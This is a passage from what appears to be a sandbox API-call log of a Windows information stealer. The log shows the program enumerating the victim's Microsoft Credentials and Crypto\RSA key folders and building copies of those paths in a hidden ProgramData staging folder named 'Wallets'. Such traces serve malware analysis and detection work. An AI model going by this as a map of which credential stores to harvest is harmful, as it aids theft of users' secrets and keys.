lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0052.137] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.138] FindClose (in: hFindFile=0x58a0c0 | out: hFindFile=0x58a0c0) returned 1 [0052.138] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.138] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0052.138] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.138] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0052.139] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials" [0052.139] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0052.139] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0052.139] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*.*" [0052.139] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589f40 [0052.139] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\." [0052.139] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\." [0052.139] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.139] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.139] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\" [0052.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\.." [0052.139] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\" [0052.139] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Credentials\\.." [0052.140] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.140] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.140] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.140] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.140] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.140] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0052.140] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.140] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.140] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" [0052.140] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0052.140] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0052.140] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0052.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*.*" [0052.140] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589e80 [0052.140] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0052.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\" [0052.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\." [0052.140] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" [0052.140] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\" [0052.140] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\." [0052.140] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.140] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.141] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0052.141] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\" [0052.141] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\.." [0052.141] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" [0052.141] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\" [0052.141] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\.." [0052.141] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.141] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.141] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.141] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0052.141] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\" [0052.141] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0052.141] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto" [0052.141] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\" [0052.141] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" [0052.141] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0052.141] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0052.141] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0052.141] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*.*" [0052.141] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a2c0 [0052.148] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0052.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\" [0052.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\." [0052.153] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" [0052.153] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\" [0052.153] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\." [0052.153] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.153] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.153] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0052.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\" [0052.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.." [0052.153] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" [0052.153] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\" [0052.153] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\.." [0052.153] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.153] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.153] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.153] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0052.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\" [0052.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0052.154] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA" [0052.154] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\" [0052.154] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: 